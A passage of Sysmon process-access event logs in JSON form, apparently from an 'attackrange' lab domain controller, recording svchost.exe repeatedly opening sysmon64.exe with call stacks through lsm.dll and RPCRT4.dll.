C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1325,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.629\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.629","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.631\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 